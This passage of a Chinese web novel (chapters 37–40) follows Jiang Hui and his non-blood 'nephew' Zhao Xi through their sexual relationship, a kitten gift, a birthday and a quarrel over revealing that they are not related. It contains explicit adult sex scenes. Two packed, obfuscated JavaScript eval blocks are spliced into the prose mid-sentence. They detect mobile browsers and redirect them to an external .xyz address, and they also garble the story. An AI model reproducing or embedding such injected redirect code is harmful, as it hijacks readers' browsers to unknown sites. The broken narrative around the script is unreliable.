姜洄喉结滚动一圈,看着他近在咫尺的脸,伸手将他脖颈往下拉:“……没什么。” 他也有点忍不住了。 两人就从走廊一路亲到主卧床边,都说久别胜新婚,不是没有道理的,赵熙好不容易见到人了还憋了这么久,这会儿早就憋不住了,动作狼崽子一般急躁,连吻里也带着急切的渴求气息。 没一会儿,姜洄腰上就被什么东西顶住了。 又亲了一会儿,这次姜洄也…… 察觉到他的变化,赵熙似乎有些惊讶,他恋恋不舍分开唇齿,有些轻佻地蹭了蹭他的腰身,眼底尽是贪欲:“小叔叔,帮帮我……” “作为回报,我也可以帮你的。” 姜洄喘着气,在头顶亮堂堂的白炽灯下观摩着他熟悉的眉眼,忽然支起身,贴近他的面庞,啄了一口他的唇瓣,哑声道:“……怎么两个多月了,没半点长进,就念着互相帮助那点事了?” 赵熙抿抿唇,以为他是没这个兴致,心里突了一下:“……我,只是太想小叔叔了。” 他环住姜洄的腰身,还不等再继续说什么,姜洄抬手摁住他的唇瓣,指腹从他唇上擦过,打断了他:“想我,然后呢?该做什么,还要我教你吗?” 光影摇曳下,他的面容那样魅惑,仿若妖魔低语,诱人堕入地狱。 赵熙呼吸重了。 他磕巴了一下,脑子一瞬间空白了刹那:“……小叔叔,你说的,是我想的那个意思吗?” 姜洄拽着他的领子贴近,伸出舌尖舔了舔他的唇瓣,又笑:“你说呢?” 赵熙无措地摒住了呼吸,一时不知该说什么:“怎么突然……” 他一直有些感觉,觉得小叔叔或许不是那么喜欢他。 和他在一起,大约也只是抱着试试的心态。 他不敢奢求更多,当初小叔叔能同意和他在一起,他都已经觉得很惊喜了。 所以恋爱里所有的进度,赵熙都有意无意地放着手,由姜洄来做主导的那个,等着他一步步接受自己,一步步将关系和距离拉得更加亲近。而姜洄不曾允许的,他一步都没有踏过雷池。 姜洄不说公开身份血缘的关系,他就不提,姜洄不愿意他在自己脖子上留下痕迹被人看到,他就不留。每次亲密,吻痕在锁骨往下的地方密密麻麻叠了数层,也不会透过衣领泄露半分。 仿佛他也将自己的爱放在了对方掌心,无声地告诉他,我的所有都由你审判,包括爱欲。 这场心血来潮的恋爱游戏,你随时可以喊停。 可是接吻和上/床不一样,赵熙想。 他骨子里是个传统的人,对自己的东西占有欲一向很强,上了床,就代表小叔叔彻底接纳了他,他不会再允许对方有后退的意图或反悔的念头了。 往后这辈子他都不会放手,哪怕小叔叔不爱他了,甚至会恨他…… 到死也必须只能是他一个人的。 他真的想清楚了吗? 赵熙想把这些和小叔叔好好掰扯清楚,可是姜洄不给他机会。 他皱皱眉,探过来张口就咬了一下赵熙的嘴巴,低声道:“废话好多,到底做不做?” “限时的,再犹豫你就没机会了。” 赵熙不说话了,他收紧了环着对方的手臂,闭了闭眼,带几分蛮横意味凶狠地亲了回去。 这次吻里多了几分旺盛的情/欲。 晚夏的夜里,清爽的夜风从窗口吹进,室内的空气却仍然在暧昧的水渍声里不断升温。 衬衫都脱了,赵熙才想起来:“……没有byt。” 意识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038850|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己是同性恋那天他就了解过相关知识,要是没有rh,后面会受伤,没有套的话很容易弄在里面不舒服。 没犹豫两秒,就见姜洄伸手,从一旁的抽屉里拿出两盒东西来。 赵熙微微瞪大眼睛:“……什么时候准备的?” 姜洄低声哼笑:“昨天路过便利店,随手买的。” 有他这句话,其实也潜在证明了他早就准备好了今天会发生什么。 经过一天的思考,也没有改变主意。 他是想好了的,不是一时冲动。 赵熙微微提着的心放了下去,一言不发继续去吻他。 “等下。” 姜洄推了推他胸膛。 “怎么了?” 姜洄:“……我想起一个问题。” 赵熙看着他的视线往下移,挑了下眉:“嗯?” 姜洄舔了舔唇,没好说他其实是个1。 他一直对自己的属性很了解,可是这样的话——那不就和赵熙撞号了吗? 但他没说出来,因为看着面前赵熙的八块腹肌、狼狗腰和精壮的胸膛……这个赵熙已经不是因为多年连轴转演习变得不爱锻炼的姜洄自己了,争起来好像也争不过。 姜洄闭了闭眼:“……算了。” 让让他又能怎么样,听说躺还比动舒服呢。 如果…… 如果这段感情没能走到最后,他今后回想起来,也不至于会觉得太对不起赵熙。 都忍辱负重让他干了……虽然是他主动提起来的,但是,也算是他比较吃亏一点吧? 姜洄没说话,在赵熙略带疑惑的视线里又用手指拽了拽他的腰带。 “继续。” 赵熙就像被海妖蛊惑的凡人书生,一步步被他引诱着带到了最后一步。 姜洄看着头顶刺眼的灯光,忽然翻过身。 赵熙低头亲亲他的耳朵:“小叔叔怎么不看我?” 姜洄:“……这样方便一些。” 毕竟是第一次,赵熙也没有为难他必须转过来看着自己。 倒是姜洄尤觉得不够似的,又用手臂挡住眼睛,低声道:“关灯。” 赵熙一愣,以为他不好意思。 但这么多年,有姜洄在,他其实也早就不再惧怕黑暗了,是姜洄一直担心他所以维持了这个习惯。 因此他只是笑笑,应道:“……好。” 灯光被拉上,屋内霎时陷入一片黑暗。 哪怕做过准备,姜洄也被这异样的陌生刺激到浑身都起了一层鸡皮疙瘩。 待杯皿完全容纳器具时,两人都已出了一身的汗。 赵熙一手扶着他的腰身以作支撑,一手撑在他脸颊边,俯身亲了亲姜洄的耳垂,在他耳畔低声道:“小叔叔,痛要和我说。” 姜洄闷哼:“……我说了就不痛了?” 赵熙低笑:“我会慢一点。” 他舍不得小叔叔痛。 姜洄低低喘着气,不说话,偏头去另一边。 …… 他似乎不喜欢在这种情景之下面对着赵熙,但赵熙是个必须得到回应的性子,他捏着姜洄的下巴和他半强制性接吻,又沿着他脸颊吻过他的后颈,落到肩胛上时,明显感觉身下的人僵住了。 他微微皱眉,呼出一口气:“小叔叔,放松些。” 姜洄耳朵在黑暗里红得彻底,羞恼道:“这种时候就不要喊小叔叔了!” “好,不喊。” 赵熙的手指抚过他消瘦的脊背,又试探性地在那个位置落下一吻。 姜洄的喘息声更重了。 ——赵熙亲的那一片,是他留下烟疤的位置,在左后方的肩胛与后颈的衔接处,和赵熙背后那道早已淡去的烟疤位置一模一样。 可是和赵熙不同的是,他那时没有药,所以也没有去掉疤痕,这本是姜洄留下来警戒自己苦痛经历的警钟,却在这种情境下被这样充满情/欲爱念地亲吻…… 虽然因为系统屏蔽了原本的模样赵熙看不到也摸不到,但姜洄却能感受到。 他很难不为之颤抖。 赵熙,大概就是他养出来专克自己的。 38.崽崽 姜洄已经不知道这场xing爱是怎么结束的了。 赵熙不愧是十九岁的钻石男大学生,身体素质比他高了不止一个档,初尝情事食髓知味,精力旺盛地和他闹到了半夜。 姜洄嗓子都哑了,差点被他弄昏过去。 最后其实也差不多了,他里里外外都被赵熙吃了个干净,要不是姜洄实在没气力了,他觉得赵熙其实还能继续。 幸好这小子还有良心,没弄在里面,事后记着他说没洗澡还抱着他去洗了个澡。 第二天醒来,姜洄浑身都痛得要命,仿佛被车碾过一般。 从被子里一伸胳膊,满手臂错落有致青青紫紫的痕迹,不知道的还以为他被家暴了。 赵熙不愧是在上的那个,睡得比他晚起的比他早,这会儿不在房间里,姜洄听见楼下有些动静,应该是赵熙在做饭。 等姜洄强撑着身体起来套上衣服,洗漱完了,他便恰好推门端着碗筷进来了,碗里放着他亲手做的吐司面包和热气腾腾的南瓜小米粥。 正所谓人逢喜事精神爽,姜洄看他的高兴都快要写在脸上了。 “小叔叔,醒了?” 姜洄接过碗筷,张口说话时还被自己的声音吓了一跳:“……几点了?” 赵熙倒了杯水递过来,道:“下午了一点了。” 姜洄手没什么力气,喝两口粥就停了下来:“陈阿姨不在?” “来做了两趟饭,敲门的时候你还睡着,我说你昨晚失眠睡得晚要多休息,让她先回去了。” 姜洄点点头,正要继续,赵熙把碗筷端过去,用勺子给他舀了一瓢:“我来吧。” 姜洄有种婴儿般被照顾的羞耻错觉。 不过到底也没和赵熙争,张口接了。 “身上有哪里不舒服吗?”赵熙温声道。 姜洄吃了口粥,又嚼了一口他递过来的面包:“……没有。” 其实赵熙挺贴心的,除了昨晚做得有点凶以外,该做的措施都做到位了,事后还给他涂了药,没什么影响。 赵熙笑得松快了些:“那就好。” 他眼神飘忽,似乎想说什么,欲言又止。 姜洄把嘴里的东西咽下去:“你想说什么?” 赵熙红了耳朵,道:“小叔叔……昨晚舒服吗?” 姜洄:“……咳咳!” 他差点把喉咙里的粥又呛出来。 赵熙伸手给他拍背,眼睛却一错不错地盯着他,看着是真的很想知道他的评价。 姜洄也眼神漂移起来:“……嗯,还行。” 第一次嘛,有点生疏倒也情有可原,姜洄又痛又爽的,倒也不至于说不满意。 吃过饭,姜洄才擦了嘴,赵熙就凑上来在他唇上啵唧亲了一口。 姜洄:“……干嘛?” 赵熙道:“早安吻,小叔叔起得太晚,就留到现在了。” 没等姜洄发出反对,他已经其起身,笑意盈盈地端着碗走了。 一转身,姜洄还在他脖子上看见了自己昨晚抓出来的痕迹。 赵熙第二天又要回学校上课了,两人分离前赵熙恋恋不舍,比上次去报名还要黏人。 姜洄好不容易把人哄走了,感觉自己像闹脾气不想上学的幼儿园小朋友家长。 王叔笑眯眯地等在一边,看赵熙拖着行李箱走了,姜洄才上车准备去公司。 “二少和少爷感情真好。” 姜洄心里突地一跳,有些心虚地拽了拽自己的领口。 感情能不好吗,身体都给他了。 赵熙上了大学,基本就只有周末能回来,平时课程不算满,有时候上午一节课下午一节课,但来回太折腾,赵熙每次想回来每次都被姜洄驳回。 姜洄倒是想换个别墅住,干脆选在江大旁边,也方便赵熙平时上下课,但这样又距离公司太远,他的睡眠时间要压缩掉,赵熙心疼他所以不肯。 两个人各犟各的,都说服不了对方,就继续这样过着了。 赵熙中午空闲的时候,会做些饭菜来公司看他,顺便也帮忙处理些姜洄忙不过来的事情练手。 等过了一阵子,赵熙对大学的课程熟悉了,空闲时间多了,姜洄就把大部分的事情都交给了他,让他一点点上手公司事务。 赵熙倒是乐于帮他分担,但也有些奇怪他为什么这样急切地给自己分权,毕竟说到底,赵熙还年轻,刚上大学,没有必要这么着急进公司历练。 某次问起来,姜洄只坦然道:“我又不是什么工作狂,干了这么多年不累啊?你早点接手,我早点休息。” 赵熙便摁下了心中的疑惑,只当他是工作太辛苦,想提前退休了。 十一小长假,两人难得都全天有空歇下来,赵熙从那次之后就没和他亲近过,更是早就魂牵梦萦,少年人初尝情/事憋了太久不知收敛,回来当天就按着姜洄做了好几次。 两个人汗津津地从傍晚滚到半夜,从书桌滚到浴室……赵熙还不知道从哪里取了经来,花样百出,姜洄这次真的是要被他折腾坏了。 他上床不喜欢面对着赵熙,接吻的时候还好,毕竟都闭着眼,可是到这种时候,他不想在赵熙眼里看见另一个人的影子。 偏偏赵熙执拗,也不喜欢他背对着自己,顺从过他前几次后就不依了,硬是要把他翻过来正面对着自己。 姜洄送出的那些礼物里,赵熙明显最喜欢哪条项链——他从来没取下过,做/爱也要戴着。 每次关掉灯,他不肯翻过来看着赵熙的时候,项链的链条从赵熙脖颈垂下,冰冷的触感就会慢慢爬过姜洄的脊背,刺激性是成百辈的。 姜洄被他搞得真是一点办法都没有。 要不是他坚持关灯的态度太严肃,他觉得赵熙必定也要开着灯让他亲眼看着自己和他做。 和他接吻时,赵熙总会忍不住抚摸他的唇瓣,每次亲吻到右眼或是后背的烟疤,姜洄都抖得不成样子,赵熙就轻声笑他:“好敏感啊小叔叔。” 抱着姜洄亲吻他颤抖的眼皮,他还要一遍遍在姜洄耳边说:“喜欢小叔叔。” “好喜欢小叔叔啊。” “小叔叔听到了吗?” “小叔叔怎么不回我?” 某天晚上正好有个电话打进来,是赵熙的。 他原本不想接,姜洄正好已经累得不行,拧他腰上软肉让他退出去接,赵熙抓住他的手:“真要我接啊?” 姜洄道:“……接。” “这可是小叔叔说的。”赵熙低头亲他一口,接通了电话,语气还带着几分沙哑,“喂。” 姜洄瞪大眼:“……!” 是让他出去接,不是让他还在里面就接啊! 这个小兔崽子! 赵熙没停,手还落在他腰上,姜洄一声闷哼又被自己憋了回去,随手捞过枕头,咬着一角不敢出声。 “嗯,我知道了,回学校会处理的。” “没做什么,”赵熙清了清嗓子,看了眼面前怒目圆睁的小叔叔,微微低哑的嗓音里带了几分笑,“先挂了,有事要忙。” 手机被扔到一边,姜洄眼睁睁看着屏幕上的通话显示已经结束,终于松了口气,又被他一个动作欺负到差点直接就地交代。 赵熙又来亲他,被姜洄狠狠咬了一口唇瓣:“你故意的是吧?” 赵熙很无辜:“是小叔叔要我接的。” 姜洄无言以对。 如此整整七天,他们天天腻歪厮混在一起,假期结束的时候,姜洄差点下不来床。 其实最开始的时候赵熙也没想这么折腾 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赵熙把猫放下,脱了沾了些雨丝的外套,才将猫带到姜洄面前,随即打开笼子将猫崽子拿了出来。 “才三个月,可爱吗?” 姜洄目不转睛看着他手里毛茸茸的小猫,伸手摸了一把小猫的脑袋,小猫打量了他两眼,慢慢地不抖了。 “……可爱,但是哪来的?” 赵熙道:“还记得之前你救下来的那只黑猫吗?我回来的时候遇到它主人了,很巧,她也是江大的学生。她很谢谢你救了猫,要留我联系方式请我们吃饭。” “当然,我没加,”赵熙把猫放到毛毯上,轻声道,“本来聊了两句要走了,但她提起自己家里的猫正好生了崽子,养了一段时间考虑送人了,问我们有没有想养的意思……” 所以,他就跟着那女生去了她家公寓楼下,等着对方把猫咪崽子拎下来了。 姜洄又摸了下猫咪,看它转着脑袋好奇打量四周,目光都柔软了下来:“那只黑猫的?” “她家养了两只,一只英短一只狸花,正好一公一母,你救猫的时候,猫妈妈刚好就要生了。” 狸花? 姜洄打量猫崽子身上的花纹,刚刚没仔细看,现在看来,确实是狸花猫才能有的崽子。 “所以带回来是想养了?” 赵熙道:“是给你的。” 他把猫咪身体拨了拨,面朝姜洄,他在一边眼带笑意,猫咪倒是正襟危坐,颤巍巍的: “小叔叔不是喜欢猫吗?本来我就觉得今年的生日礼物只买衣服是不是缺了点什么……就拿它当惊喜吧。小叔叔喜不喜欢?” 姜洄伸出手,小猫试探性地舔了舔他的手指,带着细软倒刺的舌头划过他指节,他心中微微一动。 “说的好听……我有空吗?” “等你退休了不就有空了?”赵熙挑眉,“不是要让我早点接你的班吗?我算了下,到大二学业就没这么重了,我能兼顾学业和事业。” “到时候你就专心在家睡觉,撸猫喝茶……哦,喝奶。现在嘛,有我陪你一起养呢。” 他说了一大串,又把猫崽子放到姜洄手上,像是生怕姜洄再说出什么拒绝的话:“不想养也来不及了,送回去它可能都以为是新主人不喜欢它。” “现在,小叔叔,给我们新的家庭成员取个名字吧。” 姜洄捧着手里这么一团柔软温暖的小生命,陌生的触感好像随着赵熙带着笑的话蔓延进了心里。 他顿了顿,到底是没说得出不养的话来。 半晌,他扯了扯嘴角,听着小猫在他手里轻声叫唤,眼底也多了几分真切的温柔:“这么小……叫崽崽吧。” 39.愿望 家里多了一只猫,很多事情都要变一变了,比如锐利的东西要收起来,易碎的东西要往高处放,到处都被姜洄铺上了毛毯,房间当然也不能少。 三楼唯一一间客房被腾出来做了猫房,一天以内,姜洄以最快的速度定制到了猫砂盆、猫粮、猫爬架、猫玩具等等必备品,并临时雇佣专业人士将新鲜出炉的猫房好好装扮了一番。 其认真程度连送猫的人都要愣一愣,心里相当微妙:“小叔叔当初接我回家的时候,布置有这么认真吗?” 崽崽才来一天,还没有完全适应新环境,总喜欢到处窜,被发现了就躲起来。 赵熙说这话时,姜洄正拿着逗猫棒有一下没一下地在逗躲在沙发底下的猫咪,闻言瞥了他一眼:“这你也要比?” 赵熙:“开玩笑的。” 然而姜洄却当真想了想,道:“那还是接你回家的时候更认真些。” 其实赵熙的房间他也布置了很久,甚至没有假借他人之手。 赵熙会喜欢什么,只有他最清楚,当初那个房间里的每一个摆件,都是他亲手放上去的。 果不其然,赵熙来了之后也确实很喜欢。 赵熙:“……真的?” 姜洄:“爱信不信。” 赵熙笑盈盈凑过去亲他,姜洄于是又被他摁到了沙发上。 好在这会儿装修房间的几个工人都已经被赵熙结账完打发离开了,不然姜洄也不能让他这么得逞。 赵熙亲了两口,说:“喜欢猫还是喜欢我?” 姜洄:“这是什么问题?” 赵熙哼唧道:“说嘛。” 他又啄了一口姜洄的唇瓣:“小、叔、叔~” 姜洄:“幼稚。” 怕赵熙还要亲个不停糊自己一脸口水,姜洄抬手挡住他,应道:“都喜欢。” 赵熙:“嗯?它才来几天,在你心里的地位已经高于我了吗?” 姜洄:“……赵熙同学,你几岁了?” 赵熙抱住他的腰,在从沙发底下探头探脑出来观察两个人类的小猫眼前蹭了蹭他的脖颈,委屈巴巴道:“十九怎么了,十九了不能撒娇吗?” 姜洄叹气:“真是你拿你没办法……是,你在我心里地位最高,行了吧?” 虽然没有亲口说出更喜欢他这几个字,但赵熙也明白,能这么说已经是姜洄的极限了,他没有为难,勉强满意地啄了啄姜洄的嘴唇:“不管小叔叔最喜欢谁,反正我最喜欢小叔叔了。” 姜洄:“知道了知道了……” 十二月初,赵熙正式进入了公司,成了公司下属们口中的赵副总。 他生日当天,余书等几个朋友专门从学校回来给他庆生。 因为一群人上了大学后就已经好久不见了,赵熙没有拒绝他们聚会的邀请,反正他也不会夜不归宿,早点回来就好了。 因此,热闹的饭桌上,赵熙抬起手表,看到时间近九点以后,便拒绝了几个人继续坐一会儿的要求:“我得回去了。” 余书道:“怎么了?” 还是韩子晨反应最快:“哦,我知道了,你要回去找对象是吧?” 赵熙顿了下,眉眼酝起几分笑:“是。” 几个兄弟顿时挤眉弄眼地笑起来,余书也兴致勃勃道:“你说和他谈上了,怎么这么久也不带出来给我们看看?好让我们知道是什么人把你这样的人都勾的三魂七魄都没了,天天嘴里念着好。” 韩子晨也道:“是啊,叫啥名儿啊?我咋一点风声都没听到过。” 赵熙心想你们当然没听到过,小叔叔对他们恋爱的事情保密措施可做得非常好呢。 他轻描淡写道:“还不到时候,过段时间再说吧。” 余书:“哎,你这就不够意思了,谈个恋爱还遮遮掩掩的,不够男人啊……不会是根本没谈吧?” 赵熙笑骂:“去你的,我有那么无聊骗人?” 他拎起外套,没再多说:“走了,你们慢慢吃。” 赵熙回去的路上还专门嗅了嗅身上有没有沾了酒气,他没喝酒,但几个朋友喝了点,他怕带回去什么气味。 小叔叔最讨厌酒精,赵熙其实因为他那个爹的原因也不喜欢,但没有姜洄那样抗拒、几乎是闻见酒味就要吐的程度。 回到家,姜洄怀里的崽崽先听见动静跳了下来,竖着尾巴来欢迎他,蹭了蹭他的腿。 赵熙蹲下来撸了把猫咪的脑袋。 养了一个月,好歹是亲近了起来,崽崽非常亲人乖巧,对两个铲屎官一视同仁的喜欢,每天都蹲在门口等人,见到哪个回家都要专门起身欢迎一下。 不得不说,姜洄会喜欢猫也是有原因的。 他抱着猫起身,姜洄也起来了,按了电视机的暂停键,几步走过来道:“还有胃吃蛋糕吗?” 赵熙笑:“那当然。” 每年生日他都要和小叔叔一起吃生日蛋糕,这是他从来不变的习惯,就像小叔叔每次生日都要吃他亲手做的长寿面一样。 姜洄把蛋糕从冰箱里拎出来,接过猫让他去洗手,又在他坐下时,将一把钥匙递过去。 赵熙接过钥匙,看了两眼:“这是……车钥匙?” “嗯,生日礼物。” 是的,姜洄给他送了辆车—— 这么多年过来,他们之间能送的礼物也都差不多送完了,姜洄思来想去找不到什么能送的,也实在懒得再费心去折腾这些。 恰好赵熙最近还抽空去拿了驾照,他干脆就送了辆限量款的车。 “不问问什么款式?” “什么款式?” “劳斯莱斯。” 赵熙听出点什么,笑了一声:“谢谢小叔叔。” 姜洄舒坦了,往后微微靠着,摸了摸怀里的猫脑袋:“生日快乐。许愿吹蜡烛吧。” 赵熙便闭上眼,像以往每个生日那样开始许愿。 和从前许愿想着下个生日还要和小叔叔一起过不同的是,这次他贪心了一些。 他许愿,和小叔叔可以永远不分开。 不止下个生日,还要下下个生日,下下下个,一直在一起。 睁眼时吹蜡烛,却发现有一根已经熄灭了。 姜洄抬头往旁边看了眼:“好像是厨房的窗户没关上,风吹的,没事。” 赵熙却抿了抿唇,又把蜡烛点上了,重新许了一遍,然后再吹。 姜洄看着好笑:“许什么愿了,这么郑重?” 赵熙也笑笑:“不能说,说出来不灵的。” 姜洄:“好吧。其实你说出来才对,万一我就能帮你实现呢?” 赵熙分了蛋糕,第一块先递给他,第二块才给自己。 他闻言想了想,放下刀叉,视线再次转向姜洄:“还真有个愿望,只有小叔叔能实现。” 姜洄来了兴致:“嗯?” 赵熙思索了下,斟酌道:“有人问我到底有没有谈恋爱,我说谈了,他们不信,觉得是我的托词。毕竟我从没带着男朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15049881|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 友露面过。” 姜洄吃蛋糕的动作一顿,隐约对他要说什么有了些猜想:“你说的是余书他们吧?” 赵熙又笑了下,没有否认。 姜洄道:“那你是想说?” 赵熙盯着他的眼睛,轻声道:“我想公开。” 姜洄:“……” 果然。 “你疯了?” 在外人眼里他们还是亲叔侄呢,现在把恋爱关系公开出去不是疯了是什么? 赵熙轻轻一笑:“当然是先公开我们没有血缘关系这件事。” 姜洄立刻道:“不行。” “为什么?” 姜洄张了张口,半晌说不出话。 对啊,为什么? 他总不能告诉赵熙,他怕今后万一这段感情没有走到最后,他离开了,到时候原主回来,会拿捏他和赵家没有血缘关系这一点,再将他赶出赵家。 虽说002提过原主一心玩乐根本没有心思工作,但万一呢? 他不能忍受在泥潭里挣扎那么久,好不容易有机会亲手捧起来的另一个自己,又因为这种理由再跌下云端。 赵熙就该这样高高在上过一生。因为这是他那一世,穷其一生所期望的。 可这些都不能对正热恋着上头的赵熙说。 姜洄放下手中只吃了两口的蛋糕块,叉子插在上头,神色冷淡下来,语气仍旧平静:“我说不行就是不行。” 赵熙愣了片刻,笑着说:“好吧,那听小叔叔的。以后再说。” 小叔叔或许是还没有做好公开的打算吧。 他伸手接过桌上的那块蛋糕,用勺子挖了一块递到姜洄嘴边,笑着哄道:“我的生日,小叔叔给点面子,别因为这个不高兴。” 姜洄安静了两秒,垂首去接他勺子上的蛋糕:“没生气。” 凝固的氛围又回到最开始的温馨宁和,好像无事发生。 两人若无其事地吃完蛋糕上楼,姜洄把崽崽放回了猫房,每到晚上,怕它乱跑会有危险,他们都要把猫房的门关上。 赵熙看着它去吃刚满上的猫粮,和姜洄打了声招呼,去自己房间洗漱了,姜洄看了一会儿,也关门回了房间拿出衣服,准备去洗澡。 002此时突兀地冒头,来了句:【其实宿主可以公开没有血缘关系这件事的。】 姜洄:“……”它又是什么时候醒的? 要不是再三确认过一切少儿不宜的、接吻之类的画面声音都会被系统自动屏蔽,002看不见,姜洄真要被它这时不时蹦出来的特性吓到。 他道:“你听到我心声了?” 002:【是的。其实宿主可以信任原主,以原主的性格,哪怕你走了也不会因为家产之类的东西对赵熙下手的。】 姜洄垂眼扯了扯嘴角,笑意却不达眼底:“没有永恒的情谊,只有永恒的利益。” 他不信任何人,包括自己。 【那宿主还回去吗?】002道,【你之前说等进公司了就把股权全部交给赵熙然后离开,虽然现在还没交给他……但你还是想离开的,对吧?】 “再等等吧。” 姜洄默了默,道:“任务期限不是还有一年吗?” 002一板一眼跟他念规则:【任务要求是十年内完成任务,无论成功与否最终都会进入任务判定。你还剩一年,到时不管你想没想好,都必须做出选择了。】 姜洄听着窗外呼啸的风声,半晌:“……嗯,我知道。” 40.刘总 时间飞逝,眨眼又是半年。 崽崽打过三次疫苗,也定期做了驱虫,成长得非常健康壮实。 两人其实都很喜欢毛茸茸的东西,崽崽没多久就已经和他们混得很熟了,要是他们晚上不做什么咳咳的事的时候,崽崽还有机会挤到他们床上一起睡。 而说起在崽崽面前的身份—— 两个人逗猫的时候称呼也没个定型,都自称“爸爸”,姜洄听着别扭,赵熙第一次喊的时候让他改改,万一被陈阿姨他们听见了不好。 赵熙理直气壮,边撸猫边说他的歪理:“不会被听见的,而且,我怎么不算它爸爸呢?它可是我亲手带回来的。” 姜洄抿了口水:“辈分上来讲,你是它‘哥哥’。” 赵熙道:“辈分上来讲,我还不该上小叔叔呢。” 姜洄一噎,被他这话堵得一口水呛到喉咙,咳得面红耳赤,对他怒目而视道:“……你正经点!” 赵熙觉得自己很正经。 他起身坐过去,边给姜洄拍背边认错:“好好好,那换个称呼,叫爹地。” 姜洄还是不满意,爹地和爸爸有什么区别?被听到更解释不清了好吧? 但鉴于赵熙刚刚语不惊人死不休的那句话,姜洄还是止住了话头:“算了,随你。” 进公司以后,赵熙只要没课都会和姜洄一起来公司上班。 他办公室就在姜洄旁边,因为念着姜洄胃不好,每次都自带餐盒,中午给姜洄热好了再亲自送过去,就和以前每次给他送饭一样。 不过有时候也会忙里偷闲,在办公室门关上后,仗着没人看见亲昵一番。 五月初,劳动节以后,才上班的第一天,赵熙轻车熟路拎着食盒进了姜洄的办公室。 姜洄坐在办公椅上低头看文件,听见他门都没敲就推门踏进来的脚步声,没有抬头:“真是越来越没规矩了,万一我在处理重要的事情怎么办?” 赵熙把食盒放在办公桌旁,帮他打开了,闻言笑道:“小叔叔不是还急着要把公司交给我吗?没什么重要事情是我听不得的吧?” 姜洄无奈白他一眼,其实没什么威慑意味,赵熙也看得出他不是真生气。 他将姜洄手上的文书抽出来了,把碗筷摆好递过去:“先吃饭,吃完再忙。” 自从他成年后,姜洄的胃就没被冷落过,今天他带的也是早上很早就起来做的菜,红烧狮子头和番茄炖牛腩。 姜洄胃口不大,但对美食还算给面子,何况赵熙跟着陈阿姨偷师,这几年厨艺是越来越好,还变着花样地做,姜洄次次都能不自觉把饭菜吃个干净。 吃不完也没事,赵熙会解决,一开始他是口口声声说不能浪费,刚好他年轻力壮胃口大,能解决剩饭。 姜洄阻止过两回没能阻止成功,后来也慢慢习惯了。 赵熙很喜欢看他吃饭,他吃得快,每次吃完都要坐在沙发上盯他半天,看他脸颊鼓起来一动一动地嚼。 其实姜洄吃相很斯文,这是他身处高位后养成的习惯,毕竟他以前还老是训斥赵熙坐没坐相,总不能嘴上一边骂着赵熙,其实自己礼仪方面也差劲得很。 要真是这样,姜洄想骂都不好意思开口。 他搞不明白赵熙为什么老是爱看自己吃饭,明明记得不管是他们谁,以前都没有这个毛病:“……你还要看多久?” “小叔叔吃你的嘛。”赵熙笑,“我就看看,又不掉肉。” 姜洄哼一声:“再看收费。” 赵熙语气夸张:“哇,赵总好大的威风——那看一次多少钱?” 姜洄还真想了想:“……怎么也得五万吧?” “太良心了,那我把我全部身家都给你,”赵熙凑过来,像密谋什么大事一样和他低声道,“能不能看一辈子?” “你全部身家值得多少钱?” “我毕竟是赵家的少爷,”赵熙弯了弯眉眼,“小叔叔说我值多少钱?” 两人有一搭没一搭地胡诌笑语,姜洄很快将饭菜解决了,才去休息室的卫生间漱过口,身后赵熙就摸过来,抱住他的腰身。 “亲亲。” 姜洄熟练扭头和他贴了贴唇:“好了,歇够了就回去吧,呆太久了会被议论的。” 赵熙道:“侄子找小叔叔吃饭聊天怎么了?” 他犹觉得不够,眼眸里的光暗了一些,凑过来还要吻他。 姜洄道:“这是公司,呆太久会被人以为是在光明正大摸鱼。” “又不是没呆过,休息多久也不耽误我照样好好地完成工作,不用管他们想什么。” 赵熙没说话,唇已经落下来,姜洄伸手推他胸膛,但想到他说的也没错,以前也常这样,所以动作太轻,更像是半推半就,赵熙权当调/情了。 然而温存了没一会儿,办公室的门就被人敲响了。 “老板。” 是陈助理的声音。 姜洄匆忙推开他,扶了扶鼻梁上架着的眼镜,抿了抿唇上尚且湿润的痕迹,又和他退开了些距离:“……什么事?” 陈助理的声音从门后传来:“盛兴娱乐的刘总来谈合作了。” 刘总? 姜洄皱了皱眉,想起今天下午确实和盛兴娱乐有一场合作上的会面,但那要到下午两点半。 他问赵熙:“现在几点?” 赵熙抬起手表看了眼:“一点半。他们来的太早了点吧?” 他把姜洄的想法说出来了,提前一个小时,这个时间说早也不早,姜洄总不能因为这个把人撂在那不见了,毕竟要合作是真的。 但—— 他看了眼赵熙,道:“你在这呆着,人没走别出来。” 赵熙缓缓眨眨眼:“啊?” 以前这种场合,小叔叔要么直接让他回去忙自己的,要么让他留下来也看一看谈生意的过程,怎么这回不让他见人也不让他走了? 姜洄没解释太多,抬步走出去,将休息室的门掩上了。 陈助理半天没得到回应,又敲了敲门:“老板?” “进来说。” 陈助理于是推门进来,没察觉异样:“人在会客区等着呢,您看……” 姜洄道:“刘总亲自来的?” 陈助理回:“是。还带了两位秘书。” 要不是对方也是位老总人物,又是亲自上门,陈助理也不想大中午才吃完饭就来打扰老板。 姜洄抿抿唇:“请他过来吧。” 陈助理察觉到了他的几分不对劲,也没敢多问,转头去请人了。 姜洄揉了揉额角,掩去了眉眼间几分烦闷。 这位刘总,说起来还是位熟人。 准确来说,不是赵总的,是“姜洄”的。 